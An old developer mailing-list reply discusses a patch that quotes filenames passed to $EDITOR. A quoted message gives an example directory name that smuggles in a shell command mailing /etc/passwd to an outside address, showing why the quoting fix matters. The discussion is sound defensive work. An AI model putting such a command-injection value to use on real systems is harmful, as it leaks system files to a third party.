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Re: [PATCH] Quote filename passed to $EDITOR

From: Karl Fogel <kfogel_at_newton.ch.collab.net>
Date: 2002-07-23 22:23:18 CEST

Scott Lamb <slamb@slamb.org> writes:
> I don't think that's likely because they would have to run the checkin
> from that directory. Hard not to notice a directory called "$(mail
> to-me@test.com < /etc/passwd; echo null)" if you just 'cd'd to it.

Indeed, if you've cd'd to it, you won't have this problem. It's only
if you run the command from some other (usually higher) directory,
passing the dangerous pathname as an argument.

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